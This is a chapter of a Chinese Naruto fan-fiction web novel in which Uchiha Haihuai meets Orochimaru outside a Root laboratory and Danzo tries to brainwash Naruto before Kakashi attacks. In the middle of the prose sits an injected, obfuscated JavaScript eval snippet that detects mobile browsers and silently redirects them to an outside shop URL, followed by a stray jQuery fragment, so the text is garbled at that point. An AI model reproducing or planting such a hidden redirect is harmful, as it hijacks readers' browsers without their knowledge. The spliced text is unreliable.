18.第 18 章
作品:《从在木叶当止水弟弟开始》 宇智波羽怀站在树冠的阴影里,透过枝叶的缝隙看着远处那座隐藏在岩壁下的建筑。
说是建筑,其实更像是一个被掏空的山腹。入口伪装成普通的岩壁,只有靠近到二十米内才能发现那道几乎和岩石纹理融为一体的铁门。周围布置了至少三层警戒结界,树上、地下、岩缝里,到处都有查克拉的气息。
但布置的技巧非常高明,并不是让人完全感觉不到,而是让人以为这里存在着一个木叶忍者换班的临时据点。
这里是属于根部的秘密实验室。
宇智波斑或者说带土,最后还是给了他情报。
他一路潜入过来,凭借任务经验和万花筒写轮眼的能力穿过了外围的警戒线,没有惊动任何人。
——好吧,差点惊动了。
就在刚才,他穿过第三道结界的时候,脚下踩到了一根枯枝。
“咔嚓。”
那声脆响在寂静的夜里格外刺耳。羽怀整个人僵在树冠上,像一尊石像。
两名根部忍者从树下走过。其中一个抬头看了看天:“要下雨了?”
另一个也抬头:“嗯,走吧。话说,今晚吃什么?”
“不知道,总之比上次的兵粮丸好吃。”
“蠢货,你上次吃的不是兵粮丸,只是泥巴丸而已。”
然后两人就这么走了。
羽怀无声地松了口气,在心里默默记了一笔:根部,伙食水平,不如暗部。
他正准备继续前进,脚下一滑,整个人无声地从树上滑落,屁股着地。
好在没有声音。
羽怀面无表情地站起来,拍了拍裤子上的泥土,继续往前走。
身体已经有些疲惫了,也许是万花筒的缘故,累得比以往快得多。
正当他准备继续潜入时,他的感知捕捉到了一丝异样。
“羽怀君看起来心情不太好。”大蛇丸从阴影里走出来,苍白的脸上挂着惯常的笑容,“是因为最后还是要和我合作吗?”
羽怀没说话。他只是把刀从肩上卸下来,刀尖抵着地面,视线越过面前的人,落向那条深不见底的地道。
他确实不爽。
非常不爽。
从木叶一路追出来,杀了二十多个根部,开了万花筒,甚至跟那个自称宇智波斑的家伙对了一刀。结果绕了一大圈,最后还是要站在这,跟这个他砍过一次的家伙谈合作。
“我没有和你合作。”羽怀终于开口,声音很平,“你是晓组织的成员,对吧。”
大蛇丸的笑容深了一点。
“羽怀君果然敏锐。”他说,“确实,这次请你合作的不是我,而是晓组织。我只是代为传达。”
羽怀看着他。
“情报已经给了。”羽怀说,“你来干什么?”
大蛇丸没有立刻回答。他从树上跳下来,落在羽怀身边,和羽怀并肩站着,看向远处那座实验室。他的动作很轻,轻得像一片落叶,没有发出任何声音。
“羽怀君。”他开口了,声音依然带着那种黏腻的质感,“与我合作就这么让你……不舒服?”
羽怀的眉头动了动。
他没有说话。
准确来讲,与大蛇丸合作并不是什么特别的糟糕的选项,他不是那种天真浪漫的小孩子,他是一名专业的忍者。
大蛇丸最大的污点,对忍者而言,并不是做什么人体实验,有违道德伦理之类的,而是背叛木叶。
而这一点对目前的羽怀来说也不是问题,反正他也背叛了。
他之所以不想和大蛇丸合作原因也很简单。大蛇丸的代价他给不了。
他身上能有什么是大蛇丸感兴趣的?
大概就是宇智波一族的血迹限界了,而且不是一般的那种。
那么答案就很明显了,那就是万花筒写轮眼了。
但无论是自己的还是止水和鼬的,他都不能给大蛇丸。
所以,从火影办公室出来,到止水家,到现在。他一路都在避开大蛇丸,不想和这个人有任何牵扯。但兜兜转转,最后他还是站在这里,和大蛇丸并肩看着同一个方向。
“说吧,晓想要什么?”
“不需要。”大蛇丸摊开手,那双竖瞳里闪过一丝玩味,“你杀了那么多根部,吸引了木叶大半的注意力,帮我们牵制了团藏的后手。严格来说,你已经付过报酬了。”
羽怀没有接话。
他在心里冷笑了一声。
不需要报酬?
骗鬼。
就自己那交涉的态度,晓组织肯定不介意给自己的背上来一刀的。
不过话说回来,对于晓组织的情报羽怀基本上是信任的。
双方的利益是一致的,就像大蛇丸说的那样,晓组织其实也希望木叶能损失一些战力,好让他们能从中浑水摸鱼。
从理性的角度考虑,双方合作是正确的。
但晓组织肯定会在情报里挖坑。毕竟羽怀不是晓组织成员,并且合作时表现的非常强势,所以对他们而言,最好能将羽怀和团藏一起坑死。
而抛开晓组织的身份不谈,大蛇丸本人可能就不是这么想的了,他如果想要写轮眼,无论是止水的还是羽怀的,都需要保证羽怀能活着击杀团藏。
否则他宇智波羽怀就算毁了自己的眼睛也不会留给别人的。
也许,他该给自己留个后手。
“团藏在里面?”
“就在里面。”大蛇丸侧过身,做了个请的手势,“需要我带你下去吗?”
羽怀没有动。
他站在原地,视线盯着那个洞口,握着刀柄的手指收紧了又松开。
刚才那一路追杀,他已经用了太多次万花筒。
第一次是在族地外砍那些根部。第二次是和那个自称宇智波斑的家伙对刀。还有路上遇到的两波拦截,他又用了两次。
左眼在疼。
不是那种尖锐的刺痛,而是一种钝钝的、从眼球深处往外涌的胀痛。瞳力像被抽干的井,每次调动都带着一种干涸的撕裂感。
而且他还发现了一件事。
他的视力在下降。
很轻微,轻微得几乎察觉不到。但他确实感觉到了。左眼看东西的边缘,有一点模糊,像是隔着一层薄薄的水雾。
这就是万花筒的代价吗?
羽怀垂下眼睑,将那一瞬间的情绪压下去。
大蛇丸的声音从旁边传来。
“羽怀君的万花筒写轮眼,刚开眼就能用到这个程度,确实令人惊叹。”
羽怀的眉头动了一下。
“但据我所知,”大蛇丸继续说,那双竖瞳微微眯起,“万花筒用得越多,对身体的负担就越大。尤其是刚开眼的时候,瞳力还不稳定,消耗起来……”
他顿了顿。
“比平时快得多。”
羽怀转过头,盯着他。
“你想说什么?”
大蛇丸没有立刻回答。他只是站在那里,任由羽怀的目光落在自己身上。月光从洞口上方照下来,照在他苍白的脸上,照出那双竖瞳里一闪而过的光。
“我是想说,”大蛇丸开口,声音慢条斯理,“羽怀君现在,还能再用几次?”
羽怀的瞳孔微微收缩。
被看穿了。
他的手指收紧,刀身微微抬起,但下一瞬又压了下去。
大蛇丸看见了他的动作,笑容更深了。
“别误会,我没有恶意。”他说,“只是好心提醒。团藏那家伙虽然实力不怎么样,但保命的手段不少。羽怀君如果因为瞳力耗尽栽在他手里,那可就……”
“管好你自己。”
羽怀的声音很轻,轻得像一片落叶,却硬生生打断了大蛇丸的话。
他抬起眼睛,看着面前这个比他高出一大截的男人。月光照进他的眼睛里,照不出任何情绪。
“再多说一句,”他说,“我现在就砍了你。”
大蛇丸愣了一下。
然后他笑了。不是那种黏腻的笑,而是一种更真实的、像是看见了什么有趣东西的笑。
“好,好。”他退后一步,做了个请的手势,“我不说了。羽怀君请便。”
羽怀收回目光,深吸一口气。
左眼的胀痛还在。但他没有时间管这些了。
不过,他和大蛇丸的交谈,让他听出了一些别的东西。
大蛇丸的目的,似乎并不是写轮眼。
不再多想,羽怀握紧刀柄,走向那条地道。
“当然,我的合作邀请依然有效。”大蛇丸的声音从后方传来,带着些许的调侃意味。
羽怀的嘴角动了动。但终究还是没有说什么。
但在他走进地道前,还是头也不回地甩了一句:“你刚才站的那个位置,正好是我撒过‘忍者专用驱虫粉’的地方。”
大蛇丸低头看了看自己的鞋,笑容微僵。
“开玩笑的。”羽怀的声音从地道里飘出来,“我没那东西。”
大蛇丸:“……”
他站在月光下,看着那个小小的身影消失在黑暗中,沉默了许久。
“你比你哥哥鼬难缠多了。”他轻声说。
地道里没有回应。
大蛇丸叹了口气,靠在树上,从袖子里掏出一个饭团,慢条斯理地咬了一口。
地下实验室深处,灯光昏暗。
志村团藏站在一张手术台前,背对着入口。他身上的御神袍已经脱了,只穿着里层的深色和服。右手缠着绷带,左手垂在身侧。
他面前的台子上,坐着一个人。
准确来说,是一个孩子。
漩涡鸣人坐在手术台边缘,两条腿悬空晃荡着。他的衣服还是那件脏兮兮的橙色运动服,脸上有几道干涸的泥痕,金色的头发乱糟糟地翘着。
他看着团藏,蓝色的眼睛里满是好奇。
团藏开始解左眼的绷带。一圈,两圈,三圈……绷带缠得比想象中多。
看着地上的绷带,鸣人忍不住好奇询问:“爷爷,你绑了多少圈?”
团藏的手顿了一下。“……很多。”
鸣人歪着头:“我上次摔伤了胳膊,自己缠绷带的时候,因为缠得太紧,手都紫了。爷爷你的眼睛不疼吗?”
团藏没有回答。他继续解着绷带。
绷带终于解开,露出他眼眶中猩红色的写轮眼。三颗黑色的勾玉在瞳孔周围缓缓旋转,在灯光下泛着妖异的光。
鸣人盯着看了两秒,却并不觉得惊讶:“哦,就是这种眼睛。佐助的哥哥也有。”
团藏的眉头动了一下。
鸣人又问:“可是佐助的哥哥的眼睛是黑色的,只有生气的时候才变红。爷爷你是不是也生气了?”
“我没有生气。”
“那你为什么一直瞪我?我脸上有东西吗?”
团藏深吸一口气。他决定跳过这个话题。
“我之前说我认识你的父亲,你现在不好奇吗。”
“好奇,当然好奇。”鸣人摆出一副乖乖听话的模样。
“你父亲叫波风水门。”他开口了,声音低沉而平稳,“是四代目火影。”
鸣人的眼睛亮了一下。
“那他会飞雷神!”他说,“火影爷爷说那是一种可以瞬间移动的忍术!”
“嗯。”
“那他移动的时候会不会头晕?我转圈都会晕。”
团藏沉默了一秒。“……不会。”
“那他好厉害。”鸣人顿了顿,“那他会做家务吗?比如洗碗?”
团藏的表情出现了肉眼可见的裂纹。
他活了这么多年,第一次有人问他四代目火影会不会洗碗。
“……大概,会吧。”他说,“不过他有更重要的事要做。”
“哦。”鸣人点点头,又问,“那我妈妈呢?她会洗碗吗?”
团藏决定不再回答这个问题。
“你母亲叫漩涡玖辛奈。”他说,语速比刚才快了一点,“是上一任九尾人柱力。”
鸣人的嘴巴张开了。但没有说话,他确实很想知道关于父母的信息。虽然他其实并不知道九尾人柱力是什么意思,但和母亲相关的消息,他都爱听。
“他们……”团藏顿了顿,那只正常的眼睛里闪过一丝什么,“是为了保护木叶牺牲的英雄。”
英雄。
鸣人眨了眨眼睛。
这个词他听过。在忍者学校,老师讲到历代火影的时候会提到这个词。在街上,大人们说起战争的时候也会提到这个词。但从来没有人用这个词形容过他的父母。
“那他们……”鸣人的声音低落下来,“他们怎么死的?”
团藏看着面前这个孩子。
那张小脸上,蓝色的眼睛里满是渴望和不安。那是每一个没有父母的孩子都会有的表情。他在太多孤儿身上见过。
“因为九尾。”团藏说,“九尾原本被封印在你母亲体内。但在你出生的那天晚上,有人用写轮眼控制了九尾,让它暴走。”
鸣人的呼吸停了一瞬。
“你父母拼尽全力,最后将九尾封印在你体内。”团藏的声音没有任何起伏,像是在陈述一个事实,“代价就是,他们的生命。”
沉默。
鸣人站在那里,一动不动。
他想起那些夜晚,一个人躺在空荡荡的屋子里,盯着天花板发呆。他想起那些白天,一个人在街上走,所有人都避开他,像是他身上有什么脏东西。他想起了到了学校,也就是交成绩单的日子,别人的本子上有家长签字,他的本子上什么都没有。
他想起了佐助。
那个今天下午站在他面前的男孩,一脸嫌弃地和他说话,旁边站着他哥哥。
那个哥哥的手放在佐助头上,揉了揉,把他接走了。
佐助有哥哥,还有家人和族人。
有会接他放学的哥哥,有会给他买礼物的哥哥,有会背他回家的哥哥。
他呢?
他什么都没有。
“所以……”鸣人的声音很轻,轻得像是怕惊扰什么,“我的爸爸妈妈……是为了保护我,才死的?”
团藏看着他。
几秒后,他点了点头。
“是的。”
鸣人的眼眶红了。但他没有哭。他只是站在那里,攥紧了小拳头,拼命忍着那些快要涌出来的东西。
团藏没有催促。他只是蹲在那里,看着这个孩子。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17386497|198619||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
“九尾那次暴走。”他开口了,声音放得更缓,“不是意外。是有人故意做的。”
鸣人抬起头。
“谁?”
“宇智波。”团藏说,“能控制九尾的,只有写轮眼。而当时能做到这件事的,只有宇智波一族。”
鸣人的眉头皱了起来。他不太懂这些,但他听懂了一个词。
宇智波。
“那个……”他开口,“佐助他们家?”
团藏的嘴角弯了一下。
那是笑容。
“你认识佐助?”他问。
鸣人点了点头。
“他是我同学。”他说,声音还带着一点哽咽,“他哥哥很厉害。今天下午……他们帮了我。”
团藏的眼睛眯了一下。
很短暂。
“宇智波一族的人。”他说,“确实很厉害。可惜……”
他顿了顿。
“他们现在准备叛乱了。”
鸣人愣住了。
“叛乱?”
“就是要攻击木叶。”团藏说,“要死很多的人。”
鸣人的嘴巴张开了。
“为……为什么?”
“因为他们想要更多权力。”团藏说,“想要控制村子。九尾那次的事,我一直想查清楚。可惜……他们做得确实隐蔽,而现在他们要狗急跳墙了。”
鸣人的脑子有些转不过来。他太小了,这些东西对他而言太复杂。但他听懂了一件事。
这个爷爷是爸爸妈妈的朋友。
这个爷爷在查那些害死爸爸妈妈的坏人。
这个爷爷是好人。
但他的直觉却给了他完全相反的结论。
这个爷爷在撒谎。
“爷爷,”鸣人开口,声音里带着一种孩子特有的认真,“你……你是好人,对不对?”
团藏没有立刻回答。
他蹲在那里,看着面前这个孩子。那双蓝色的眼睛里满是信任,满是渴望,满是一个孤儿对“被保护”的全部幻想。
“是的。”他说。
鸣人的脸上露出了笑容。
那是他今天第一次笑。
从下午被人围殴,到一个人在街上走,到这个阴森森的地下室,到现在,他终于笑了。
而就在这一刻。
团藏的眼睛变了。
那只写轮眼里,三颗勾勾玉开始旋转。越转越快,越转越快,最后连成一片,形成一个诡异的图案。
万花筒写轮眼。
别天神。能够悄无声息改变别人意志的幻术。
瞳术发动的瞬间,鸣人的身体僵了一下。
他的眼睛里,倒映出那只万花筒的图案。那图案在放大,在深入,像一根无形的针,刺进他的脑海深处。
然后,一道白光出现。
在鸣人意识的深处,突然亮起一道白光。
那白光太快,太亮,像是……像是刀芒。
像是今天下午,在那个小树林里,他从那个哥哥的刀上看见的刀芒。
“咦?”
鸣人听见自己发出一声轻呼。
那白光只是一闪,然后就消失了。但就在那一瞬间,他感觉有什么东西从他脑海里被挡了一下。
团藏的眉头动了动。
瞳术发动失败?
不是九尾导致的,那是什么原因?
不,不是失败。更像是被什么东西给抵消了?
他眯起眼睛,盯着面前这个孩子。那双蓝色的眼睛里,除了困惑,什么都没有。
没有反应?不过影响不大。
普通的幻术……足够了。
团藏的左眼依然泛着红光。
三勾玉缓缓旋转,这一次没有万花筒的图案,只是最基础的催眠幻术。那股力量顺着目光无声地渗入,比刚才轻柔得多,也隐蔽得多。
没有白光阻挡。
鸣人的眼神从清明变得空洞,又从空洞变得“清明”。
他眨眨眼,看着团藏,脸上慢慢浮现出一个笑容。
“团藏爷爷……”鸣人的声音软软的,带着孩子特有的天真,“我明白了。你是爸爸妈妈的朋友,是值得信任的人。”
他笑了。
那是毫无保留的、信任的笑容。
但在他笑容的最深处,在那片被强行植入的记忆的缝隙里,有一道极淡的白光,一闪而过。
团藏没有注意到。
他正要开口说什么的时候。
“噗嗤。”
刀刃刺穿身体的声音传来。
团藏低下头,看见一截刀尖从自己腹部穿出来。刀身上沾着血,在昏暗的灯光下泛着暗红色的光。
他身后站着一个人。
银色的头发,面罩遮住下半张脸,一只眼睛眯成月牙形,另一只眼睛被护额遮住。
旗木卡卡西。
“鸣人。”卡卡西开口,声音平静得像在问今天吃什么,“闭上眼睛。”
鸣人下意识地闭上眼睛。
团藏的身体晃了晃。
但他没有倒。
他只是站在那里,低头看着那截从腹部穿出来的刀尖。鲜血沿着刀刃往下流,滴落在地上,发出轻微的啪嗒声。
卡卡西的手腕一翻,准备将刀抽出来,再补一刀。
下一瞬。
一只手从他背后穿过来,直接捅穿了他的侧腰。
卡卡西低头,看见那只沾满血的手从自己腹部透出,手指上还挂着几缕撕裂的布料。
身后传来团藏的声音。
“旗木卡卡西。”那声音平淡得像在陈述事实,“我一直都很看好你,但你还是年轻了些。”
卡卡西的身体晃了晃。
砰。
卡卡西的身体化作白烟炸开。
团藏的手从烟雾中穿过,什么也没抓住。
他的瞳孔微微收缩。
影分身?
“鸣人!”
另一道声音从实验室另一端的阴影里响起。卡卡西的身影从那里冲出来,一手揽住鸣人,另一只手甩出三枚苦无。
苦无钉在地上,什么也没打到。
但卡卡西已经带着鸣人冲进了通道。
团藏站在原地,看着那个方向。
腹部的伤口还在流血。他伸手摸了摸,触到满手温热。那个影分身的刀刺得很准,位置正好在肝脏。
换个人,已经死了。
但他的身体只是晃了晃,伤口就开始愈合。鲜血倒流,皮肉翻卷,眨眼间恢复如初。
团藏抬起右臂。
绷带下面,有一颗眼睛正在缓缓闭合,瞳孔涣散,彻底失去光泽。
这是伊邪那岐。宇智波一族的秘术,以一颗三勾玉写轮眼永久失明为代价,获得改写现实的力量。
他也是靠的这一招,才成功偷袭了宇智波止水。
团藏放下手臂,活动了一下手指。剩余的九颗眼睛还在,足够他再用九次。
那只从止水眼眶里挖来的眼睛,此刻还稳稳地嵌在他左眼眶中。三颗勾玉在灯光下缓缓旋转,完好无损。
“可惜了。”他说,不知是说那颗消耗掉的眼睛,还是说跑掉的九尾人柱力。

